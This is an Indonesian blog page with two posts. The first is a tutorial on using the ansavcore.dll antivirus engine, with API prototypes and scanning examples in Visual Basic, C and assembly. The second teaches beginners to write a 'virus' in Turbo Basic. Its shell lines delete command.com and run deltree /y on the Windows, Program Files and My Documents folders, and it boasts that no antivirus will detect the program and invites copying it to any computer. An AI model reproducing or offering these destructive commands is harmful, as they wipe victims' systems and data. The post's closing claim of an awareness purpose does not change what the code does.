Sedangkan contoh penggunaanya seperti berikut :
retval = CheckWithAnsav (“C:\readme.txt”,Buffer,nSize)
Analisa :
Fungsi CheckWithAnsav akan mencoba memeriksa file “readme.txt” yang terletak pada drive “C:\”, apabila file “readme.txt” mengandung virus maka nilai pengembalian dari fungsi tersebut akan berupa nilai 1 yang pada contoh listing diatas diletakkan pada variabel “retval”, sebaliknya nilai pengembalian akan berupa 0 apabila file tidak mengandung virus. Lalu Buffer dan nSize pada listing diatas itu apa? Buffer adalah tampungan yang nantinya berisi nama virus yang terdeteksi apabila file “readme.txt” mengandung virus, tetapi tampungan ini akan kosong apabila virus tidak terdeteksi (file bersih), sedangkan nSize adalah jumlah karakter pada Buffer. Jadi apabila file “readme.txt” mengandung virus “gombal” misalnya maka Buffer akan birisi text “W32/Gombal” dan nSize akan berisi nilai 10 (jumlah dari karakter “W32/Gombal”).
Mudah bukan?
Se-instan itukah?, kalau memang benar semudah itu penggunaannya lalu bagaimana dengan kemampuannya? Tenang.., tentang kemampuan jangan khawatir, engine ansav ini merupakan engine detektor virus tercepat saat ini di Indonesia, karena pada basis pemrogramannya sendiri ansav menggunakan bahasa assembly (low level language). Pada test yang saya lakukan untuk men-scan semua virus yang saya koleksi semuanya berjumlah 314 virus dan ditest pada nootebook Pentium 2 Celleron dengan memori 128 MB, pada testnya hanya membutuhkan waktu sekitar 1,5 detik untuk men-scan semua file bervirus sampai habis. Walaupun begitu engine ini memiliki tingkat keakuratan yang tinggi. Jika Anda tidak percaya dengan yang saya katakan, Anda bisa mencobanya sendiri dengan menggunakan spek komputer yang sama dengan diatas, tetapi Anda bisa juga mencobanya pada berbagai spek yang berbeda, karena memang belum saya coba pada komputer dengan spek lain.
Dilihat dari pemrogramannya yang dibuat dengan basis low level language assembly apakah bisa DLL ini dipakai pada kompiler-kompiler tingkat tinggi seperti Visual Basic, C++, dan Delphi? Bisa!, engine ini bisa berjalan pada berbagai macam jenis kompiler yang ada saat ini, untuk itu saya sudah menyertakan contoh source codenya dalam 3 tingkatan bahasa, bahasa tingkat rendah (low level language) menggunakan Assembly 32 bit, Bahasa tingkat menengah (middle level language) menggunakan C, dan bahasa tingkat tinggi (high level language) menggunakan C++ dan Visual Basic.
Sepertinya Anda sudah mulai bosan membacanya, okeh sekarang kita mulai saja pelajarannya.
Mulai Belajar
Apa yang akan Anda lakukan untuk membuat seseorang mau membantu Anda untuk menunjukkan jalan ke suatu tempat yang Anda belum ketahui? Ya.., Anda bisa menanyakan alamat tempatnya pada orang tersebut, sukur-sukur orang tersebut sekalian bersedia mengantarkan Anda sampai tujuan. Tetapi apakah orang yang belum begitu mengenal Anda akan begitu saja bersedia untuk mengantarkan Anda? Walaupun mungkin hal ini terjadi, tetapi saya yakin prosentase kemungkinan hanya berkisar antara 1-5% saja.
Oleh karena itulah sebelum kita memulai praktek pada penulisan listing, terlebih dahulu akan saya perkenalkan Anda kepada DLL ansav ini.
Kalau yang sebelumnya pengenalan sudah saya tuliskan di atas pada bagian “Sedikit tentang DLL ini” tetapi itu hanya sedikit lihatlah kata pertama pada judul tersebut, diAndaikan Anda adalah seorang yang baru saja menemukan orang yang dianggap mampu untuk menunjukkan jalan, maka bagian diatas tadi hanya seperti Anda baru saja mengucapkan “Misi… numpang tanya…”, nah sekarang adalah saatnya Anda untuk membujuk orang itu untuk mengantarkan Anda pada tujuan, dengan cara pertama-tama berkenalan dan sedikit berbasa-basi… he..he..he.. kayaknya cara saya menggambarkan terlalu berlebihan, maklum saya oran]ngnya termasuk orang yang suka mengAndai-Andai dan menghayal tinggiiiiii banget (hanya yang + bukan yang –, kalaupun ada cuma sedikit koq. he..he..he..). Tetapi semua ini saya maksudkan agar proses belajar tidak membosankan dan berharap agar lebih mudah untuk dipahami.
Lebih detail tentang DLL ini
Dibuat menggunakan bahasa ….. (ya saya tahu Anda sudah mengetahuinya di bagian pengenalan pertama diatas)
Nama file asli : “ansavcore.dll”
Memiliki ukuran sangat kecil, pada versi awalnya memiliki ukuran16 KB. Anda tidak perlu lagi khawatir untuk membawanya kemana-mana, karena tidak berat sehingga tidak membutuhkan tukang pikul untuk membawanya. :P
Memiliki kecepatan scan tinggi. Pada core enginenya hanya menggunakan sekitar 269 instruksi dasar prosesor jenis x386, dan 18 fungsi eksternal termasuk lokal dan API-nya. Bandingkan dengan instruksi yang dihasilkan oleh kompiler bahasa tingkat tinggi yang bisa mencapai bukan hanya ratusan bahkan bisa sampai ribuan instruksi dan fungsi eksternal yang saling berlompat-lompatan walaupun dengan arsitektur kerja yang sama dengan yang saya buat. Untuk perbandingannya, Anda bisa lihat pada kompiler tingkat tinggi Visual Basic 6.
Mampu berjalan di sistem operasi Windows 98/ME/2K/XP untuk VISTA belum dicoba. Sehingga Anda lebih leluasa untuk mengembangkan antivirusnya.
Pada versi waktu artikel ini mulai ditulis yakni 1.0.0 sudah memiliki 6 fungsi yang siap untuk digunakan, diantaranya:
CheckWithAnsav
AnsavVirusFirst
AnsavVirusNext
AnsavVirusClose
AnsavVirusCount
AnsavGetVersion
Keterangan tentang fungsi-fungsi tersebut :
1. CheckWithAnsav
Membutuhkan 3 parameter, berfungsi untuk memeriksa file dari virus. Fungsi ini memiliki prototipe :
Int CheckWithAnsav (
IN LPSTR File,
OUT LPSTR VirusName,
IN OUT PULONG nSize
);
Note: Prototipe fungsi di atas ditulis dalam format bahasa C. Disini saya akan memakai standar bahasa C dalam penulisan prototipe selanjutnya.
Fungsi ini akan mencoba untuk memeriksa file yang alamat (path) nya diletakkan pada parameter File, apabila virus terdeteksi pada file yang di-scan maka nama virus akan diletakkan pada parameter kedua VirusName, sedangkan parameter terakhir yaitu nSize adalah jumlah karakter dari parameter VirusName. Untuk nSize nilai harus terlebih dahulu diset dengan 30 atau MAX_VIRUSNAME_LENGTH.
Const MAX_VIRUSNAME_LENGTH = 30
Selanjutnya nSize akan menghasilkan output berupa jumlah karakter nama virus yang terdeteksi. Apabila terdeteksi adanya virus maka nilai pengembalian dari fungsi ini adalah 1 atau AN_VIRUS_DETECTED.
Const AN_VIRUS_DETECTED = 1
Dan akan menghasilkan nilai 3 atau AN_SCAN_ERROR pada pengembaliannya apabila dalam operasinya fungsi ini mengalami kesalahan atau terjadi error. Sedangkan apabila file tidak ditemukan maka akan memberikan nilai pengembalian 2 atau ERROR_FILE_NOT_FOUND.
Const AN_SCAN_ERROR = 3
Const ERROR_FILE_NOT_FOUND = 2
2. AnsavVirusFirst
Membutuhkan 2 parameter, berfungsi untuk meng-enumerasikan, atau mendapatkan seluruh nama-nama virus yang ada pada database engine ansav. Adapun 2 parameter yang dibutuhkan adalah parameter VirusName dan nSize, parameter VirusName adalah alamat tempat tampungan untuk nama pertama virus pada data base virus ansav, sedangkan nSize adalah jumlah karakter pada tampungan VirusName.
Fungsi ini meneghasilkan nilai pengembalian berupa handel hFind yang nantinya digunakan untuk mendapatkan nama-nama virus selanjutnya menggunakan fungsi ke 3 AnsavVirusNext.
HANDLE AnsavVirusFirst (
OUT LPSTR VirusName,
IN OUT LONG nSize
);
Apabila operasi yang dilakukan fungsi ini gagal maka nilai pengembaliannya adalah 0 atau NO_MORE_VIRUSES. Dan akan menghasilkan nilai pengembalian -1 atau INVALID_HANDLE_VALUE apabila terjadi kesalahan pada waktu operasinya.
Const NO_MORE_VIRUSES = 0
3. AnsavVirusNext
Membutuhkan 3 parameter, berfungsi untuk mendapatkan nama-nama virus selanjutnya dengan berdasarkan handel yang telah didapatkan dari fungsi ke 2 (AnsavVirusFirst), handel diletakkan pada parameter pertamanya yaitu hFind, sedangkan parameter kedua File berisi alamat tampungan yang nantinya akan berisi nama virus selanjutnya, dan parameter terakhir nSize berisi jumlah karakter nama virus yang ada pada parameter VirusName.
Int AnsavVirusNext (
IN HANDLE hFind,
OUT LPSTR VirusName,
IN OUT PULONG nSize
);
Fungsi ini akan menghasilkan nilai pengembalian 0 atau NO_MORE_VIRUSES apabila daftar virus telah habis dibaca, dan akan menghasilkan nilai pengembalian -1 atau INVALID_HANDLE_VALUE apabila handel salah atau terjadi error pada waktu operasinya.
4. AnsavVirusClose
Membutuhkan 1 parameter hFind berupa handel yang didapat dari fungsi ke 2 (AnsavVirusFirst). Fungsi ini akan menutup sesi pengumpulan daftar nama-nama virus pada database engine-nya.
Fungsi ini memiliki prototipe :
Int AnsavVirusClose(
IN HANDLE hFind
);
Menghasilkan nilai pengembalian 1 apabila operasi berhasil, dan menghasilkan nilai -1 apabila operasi gagal atau terjadi kesalahan pada operasinya.
5. AnsavVirusCount
Tidak membutuhkan parameter apapun. Berfungsi untuk mendapatkan jumlah keseluruhan virus yang ada pada database ansav engine. Jumlah keseluruhan virus didapat dari nilai pengembaliannya.
Fungsi ini memiliki prototipe :
ULONG AnsavVirusCount (Void);
6. AnsavGetVersion
Fungsi terakhir ini membutuhkan parameter yang merujuk pada alamat memori berkapasitas 12 byte dan dibagikan menjadi 3 jenis versi. 4 byte untuk versi major, 4 byte selanjutnya untuk versi minor, 4 byte terakhir untuk versi revisi. Untuk ini sudah saya siapkan bentuk parameternya berupa struktur.
typedef struct _ANSAV_VERSION_INFO {
UINT dwMajor;
UINT dwMinor;
UINT dwRevision;
} ANSAV_VERSION_INFO, *PANSAV_VERSION_INFO;
VOID AnsavGetVersion (
PANSAV_VERSION_INFO lpAvi
);
Cara penggunaan fungsinya ditulis dalam bahasa Visual Basic :
Dim avi As ANSAV_VERSION_INFO
Call AnsavGetVersion(avi)
Hasil yang berupa versi engine ansav akan diletakkan pada variabel “avi”. Untuk mendapatkan versi major bisa dengan perintah “avi.dwMajor”, untuk versi minor bisa dengan perintah “avi.dwMinor”, sedangkan untuk versi revisinya bisa dengan perintah “avi.dwRivision”.
Setelah masa perkenalan dan basa-basi selesai, sebenarnya Anda harus sudah diantar ke tujuan Anda oleh orang yang baru Anda kenali tersebut, tetapi apabila tidak demikian, berarti saya salah duga, karena bisa saja ternyata yang Anda kenali adalah orang buta misalnya :D .
Sebelum Anda memulai mempraktekkannya, paling tidak Anda harus terlebih dahulu memiliki segala perlengkapan yang akan dibutuhkan nanti dalam pembelajaran ini.
Adapun perlengkapan yang dibutuhkan adalah :
1. Kompiler
Kompiler ini berfungsi untuk meng-kompil atau istilahnya membangun sebuah aplikasi software, dimana aplikasi yang dimaksud atau yang akan kita buat adalah berupa antivirus sederhana.
Kompiler yang diperlukan bisa menggunakan Visual Basic, C, C++ atau Delphi.
2. Debugger (optional)
Jika Anda memang seorang yang selalu melakukan kesalahan atau paling tidak orang yang selalu berhati-hati dalam membuat program saya sarankan untuk tidak pernah lupa melakukan debugging pada setiap aplikasi yang baru Anda buat.
Proses debugging sendiri itu digunakan untuk menganalisa jalannya suatu program dan biasanya untuk mencari letak kesalahan pada suatu sistem aplikasi. Pada beberapa kompiler tingkat tinggi biasanya sudah disertakan program debugger sendiri.
Tapi ini hanya optional, artinya Anda tidak harus atau diwajibkan untuk memiliki program debugger dengan catatan Anda memang orang yang PeDe abis dan orang yang ma’sum istilahnya orang yang tidak pernah melakukan kesalahan :D , tapi tidak ada satupun orang di dunia ini yang tidak pernah melakukan kesalahan. Jadi akan selalu saya sarankan (recommended) untuk para programmer khususnya pemula.
Adapun jenis-jenis debugger ada sangat banyak bertebaran di sana-sini, Anda bisa memilih sesuai dengan selera dan kesukaan Anda. Contoh macam-macam debugger eksternal yang nge-tren dan banyak dipakai pada abad ini : OllyDebug, IDA Pro, WinDbg dll.
3. Roti coklat (recommended)
Selain 2 perlengkapan diatas saya tambahkan lagi perlengkapan ketiga ini dengan sifat recommended yang artinya saya sarankan kepada Anda yang mudah bosan dan frustasi. Tapi walaupun begitu perlengkapan ketiga ini juga sama optionalnya dengan perlengkapan kedua yaitu program debugger, artinya Anda tidak harus tapi sangat saya sarankan, dimaksudkan untuk menghilangi kejenuhan ketika Anda sudah mulai muak membaca tutorial ini, pejamkan mata… dan makanlah satu coklat lalu ambil nafas panjang kira-kira 1-2 menit, setelah itu Anda coba pelajari kembali, pasti akan lebih plong dan lebih segar meneruskan belajarnya.
Tentang recommended coklat ini sendiri tidak harus coklat, Anda bisa dengan makanan-makanan kesukaan Anda untuk dibarengi ketika Anda sedang dalam proses belajar. Karena sebenarnya coklat itu sendiri adalah makanan kesukaan saya :P . tapi jangan salah loh.., menurut para ahli ternyata makanan yang mengandung banyak unsur coklat memiliki pengaruh tersendiri yang dapat merangsang sel-sel otak manusia, tentang benar atau tidaknya Wallahu a’lam.:D tapi bukan karena para ahli mengatakan seperti itu lalu saya ikut-ikutan makan coklat, yee… saya memang sudah mulai suka makan coklat sejak umur 5 tahun.
Okeh, dari pada banyak bicara yang gak kunjung selesai, mending kita mulai saja tutorialnya. Untuk tutorialnya akan saya berikan contoh-contohnya dalam penggunaan 6 fungsi yang sudah saya sebutkan diatas, adapun bahasa pemrograman yang akan saya gunakan untuk contoh dalam penulisan listing-nya adalah menggunakan 3 tingkatan bahasa seperti yang pernah saya singgung diatas, low, middle dan high, Assembly, C dan Visual Basic. Tetapi urutannya akan saya buat berdasarkan dengan pemrograman tingkat tinggi terlebih dahulu, yakni Visual Basic.
Oh ya…, jangan lupa sebelum Anda mulai berpraktek, terlebih dahulu letakkan file “ansavcore.dll” pada direktori tempat Anda meletakkan program yang akan Anda buat atau pada direktori project Anda.
1. CheckWithAnsav
Fungsi pertama yang akan saya contohkan adalah fungsi CheckWithAnsav, informasi tentang fungsi ini bisa Anda baca pada tulisan sebelumnya.
Contoh penggunaan fungsi CheckWithAnsav dalam bahasa Visual Basic :
Sebelum Anda bisa menggunakan fungsi ini dari file library “ansavcore.dll”, terlebih dahulu Anda harus mendeklarasikan beberapa kosntanta dan fungsinya. Adapun bentuk deklarasi fungsi ini pada bahasa Visual Basic adalah :
‘ Contoh penggunaan fungsi CheckWithAnsav
‘ pada bahasa Visual Basic

‘ Ditulis oleh : [4NV|e]
Const MAX_VIRUSNAME_LENGTH = 30
Const ERROR_FILE_NOT_FOUND = 2
Const AN_SCAN_ERROR = 3
Const AN_CLEAN = 0
Private Declare Function CheckWithAnsav Lib “ansavcore.dll” _
(ByVal FileName As String, ByVal VirusName As String, nSize As Long) As Long
Note: Karena ruang halaman yang sempit, maka tAnda “_” (underscore) pada contoh listing di atas saya pergunakan sebagai tAnda bahwa listing tersebut diteruskan pada baris selanjutnya. Cara ini akan saya pergunakan pada penulisan listing dalam bahasa Visual Basic selanjutnya.
Setelah Anda menuliskan deklarasinya langkah selanjutnya bisa langsung menuliskan listing kodenya :
Private Sub PeriksaFile()
Dim RetVal As Long
Dim nSize As Long
Dim Buff As String * MAX_VIRUSNAME_LENGTH
Dim NamaVirus As String
nSize = MAX_VIRUSNAME_LENGTH
RetVal = CheckWithAnsav(“C:\file_dicurigai.exe”, _
Buff, nSize)
If RetVal = 1 Then
NamaVirus = Left$(Buff, nSize)
Call MsgBox(“File ini mengandung virus : ” & _
NamaVirus & “, Hati-hati!! :( “)
Else
Select Case RetVal
Case ERROR_FILE_NOT_FOUND
Call MsgBox(“File yang Anda maksud tidak ditemukan!.”)
Case AN_SCAN_ERROR
Call MsgBox(“Terjadi kesalahan dalam proses scanning.”)
Case AN_CLEAN
Call MsgBox(“File ini bersih dari virus.”)
End Select
End If
End Sub
Analisa kode :
nSize = MAX_VIRUSNAME_LENGTH
RetVal = CheckWithAnsav(“C:\file_dicurigai.exe”, _
Buff, nSize)
Set terlebih dahulu variabel nSize dengan nilai 30 atau yang sudah dibuatkan konstantanya yaitu MAX_VIRUSNAME_LENGTH. Nilai 30 adalah alokasi maximal untuk menampung nama virus. Kemudian periksa file “file_dicurigai.exe” yang ada pada drive “C:\”, tentang nama file yang akan diperiksa Anda bisa menentukan namanya sendiri. Untuk memeriksa file tersebut gunakan fungsi CheckWithAnsav dan letakkan nilai pengembaliannya pada variabel RetVal.
If RetVal = 1 Then
NamaVirus = Left$(Buff, nSize)
Call MsgBox(“File ini mengandung virus : ” & _
NamaVirus & “, Hati-hati!! :( “)
Kemudian cek berapakah nilai yang dihasilkan dari pengembalian fungsi CheckWithAnsav yang ada pada variabel RetVal, jika (if) nilai pada variabel RetVal = 1 berarti file tersebut (“file_dicurigai.exe”). mengandung virus.
Kemudian apabila memang virus terdeteksi maka dapatkan nama virus yang terdeteksi tersebut menggunakan perintah Left untuk men-trim (memperpendek jangkauan string) dan letakkan nama tersebut pada variabel NamaVirus, lalu tampilkan pesan “File ini mengandung virus : “, apabila virus yang terdeteksi adalah virus “gombal” maka akan ditampilkan pesan seperti berikut :
“File ini mengandung virus : W32/Gombal, Hati-hati!! :(
Else
Select Case RetVal
Case ERROR_FILE_NOT_FOUND
Call MsgBox(“File yang Anda maksud tidak ditemukan!.”)
Case AN_SCAN_ERROR
Call MsgBox(“Terjadi kesalahan dalam proses scanning.”)
Case AN_CLEAN
Call MsgBox(“File ini bersih dari virus.”)
End Select
End If
End Su
Apabila virus tidak atau belum terdeteksi, maka periksa status operasi. Perintah Select Case RetVal disini digunakan untuk memeriksa status operasi apakah berhasil atau terjadi error. Apabila nilai pengembalian berupa ERROR_FILE_NOT_FOUND berarti file yang dimakusd untuk di-scan tidak ada (tidak eksis) maka tampilkan pesan kesalahan “File yang Anda maksud tidak ditemukan!”. Apabila nilai pengembalian berupa AN_SCAN_ERROR berarti terjadi kesalahan dalam melakukan scanning pada file tersebut, maka tampilkan pesan “Terjadi kesalahan dalam proses scanning”. Terakhir apabila nilai pengembalian berupa 0 atau AN_CLEAN berarti file tersebut tidak mengandung virus atau bersih.
Contoh penggunaan fungsi CheckWithAnsav dalam bahasa C :
/*
Contoh penggunaan fungsi CheckWithAnsav
pada bahasa C
Ditulis oleh : [girrel13]
*/
#include <windows.h>
#include <stdio.h>
int const AN_VIRUS_DETECTED = 1;
int const AN_SCAN_ERROR = 3;
int const MAX_VIRUS_LENGTH = 30;
typedef STDCALL int _CheckWithAnsav(
LPSTR FileName,
LPSTR VirusName,
PULONG nSize
);
static _CheckWithAnsav *CheckWithAnsav;
void PeriksaFile(void);
void PeriksaFile(void){
char vName[30];
unsigned long nSize=MAX_VIRUS_LENGTH;
CheckWithAnsav = (_CheckWithAnsav*)
GetProcAddress(LoadLibrary(“ansavcore.dll”),
“CheckWithAnsav”);
int RetVal = CheckWithAnsav( “C:\file_dicurigai.exe”,
vName,&nSize);
if (RetVal==AN_VIRUS_DETECTED){
printf(“\nFile ini mengandung virus : %s”
“, Hati-hati!! :( “,vName);
} else {
switch (RetVal) {
case ERROR_FILE_NOT_FOUND:
{
printf(“\nFile yang Anda maksud “
“tidak ditemukan!.”);
} break;
case AN_SCAN_ERROR:
{
printf(“\nTerjadi kesalahan dalam “
“proses scanning.”);
} break;
default:
{
printf(“\nFile ini bersih dari virus.”);
}
}
}
}
Analisa kode pada bahasa C tidak jauh berbeda dengan yang menggunakan bahasa Visual Basic, kedua-duanya hampir memiliki cara kerja yang sama, jadi tidak dibutuhkan analisa kode lagi disini. Saya yakin Anda bisa memahaminya.
Contoh penggunaan fungsi CheckWithAnsav dalam bahasa Assembly :
Comment ~
Contoh penggunaan fungsi CheckWithAnsav
pada bahasa Assembly
Ditulis oleh : [girrel13]
~
.386
.model flat, stdcall
option casemap: none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.const
AN_CLEAN             equ 0
AN_VIRUS_DETECTED    equ 1
AN_SCAN_ERROR        equ 3
MAX_VIRUS_LENGTH     equ 30
.data?
_ScanWithAnsav       dd ?
nSize                dd ?
vName                db MAX_VIRUS_LENGTH dup(?)
Buffer               db 256 (?)
.data
szAppName            db ‘Ansav in asm’,0
szAnsavCoreDll       db ‘ansavcore.dll’,0
szScanWithAnsav      db ‘CheckWithAnsav’,0
szFile               db ‘C:\file_dicurigai.exe’,0
szVirusTdtks         db ‘File ini mengandung virus : %s, ‘
db ‘Hati-hati!! :( ‘,0
szBersih             db ‘File ini bersih dari virus.’,0
szFileTidakAda       db ‘File yang Anda maksud tidak ditemukan!’,0
szError              db ‘Terjadi kesalahan dalam proses scanning.’,0
.code
start:
PeriksaFile proc
push    offset szAnsavCoreDll
call    LoadLibrary
push    offset szScanWithAnsav
push    eax
call    GetProcAddress
mov     _ScanWithAnsav,eax
mov     nSize,MAX_VIRUS_LENGTH
push    offset nSize
push    offset vName
push    offset szFile
call    _ScanWithAnsav
test    eax,eax
jz      bersih
cmp     eax,AN_VIRUS_DETECTED
je      virus_terdeteksi
cmp     eax,ERROR_FILE_NOT_FOUND
je      file_tidak_ada
cmp     eax,AN_SCAN_ERROR
je      error
jmp     tamat
virus_terdeteksi:
push    offset vName
push    offset szVirusTdtks
push    offset Buffer
call    wsprintf
add     esp,4*3
lea     eax,Buffer
call    tampilkan_pesan
jmp     tamat
file_tidak_ada:
lea     eax,szAppName
call    tampilkan_pesan
jmp     tamat
error:
lea     eax,szAppName
call    tampilkan_pesan
jmp     tamat
bersih:
lea     eax,szAppName
call    tampilkan_pesan
tamat:
xor     eax,eax
ret
tampilkan_pesan:
push    0
push    offset szAppName
push    eax
push    0
call    MessageBox
ret
PeriksaFile endp
end start
Sama dengan pada bahasa-bahasa sebelumnya, cara kerjanya pada bahasa assembly juga sama.
Untuk menghemat waktu, tenaga dan pikiran :D , contoh fungsi-fungsi yang lain nantinya akan saya tulis dalam satu arsip saja, dengan pembagian berdasarkan bahasanya. Contoh akan saya tulis dengan full source code dan akan saya jadikan satu dalam file terkompresi (zip). Dan bisa di download pada postingan selanjutnya. Jadi intinya saya hanya akan mengatakan kalau artikel ini adalah “masih bersambung…” hiks… sulit banget sih ngomongnya… ~_~”

Belajar Membuat Virus menggunakan Visual Basic 6

SEKARANG KITA AKAN MEMBUAT VIRUS MENGGUNAKAN VB.6

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.
Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google.
Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.
shell “Perintah DOS”
dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :
shell “c:”
shell “cd\”
shell “del command.com”
Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.
shell “c:”
shell “cd\”
shell “deltree /y mydocu~1″
shell “deltree /y windows”
shell “deltree /y progra~1″
Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?
Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.
Class=”alignleft” width=”97″ height=”130″ />Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe
Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus

belajar membuat program

belajar membuat program

Popular Posts

 

Follow My Blog

New Story of My Life

Follow Us With Facebook

Copyright© 2011 belajar membuat program | Template Blogger Designer by : Utta' |
Template Name | Uniqx Transparent : Version 1.0 | Zero-Nine.Net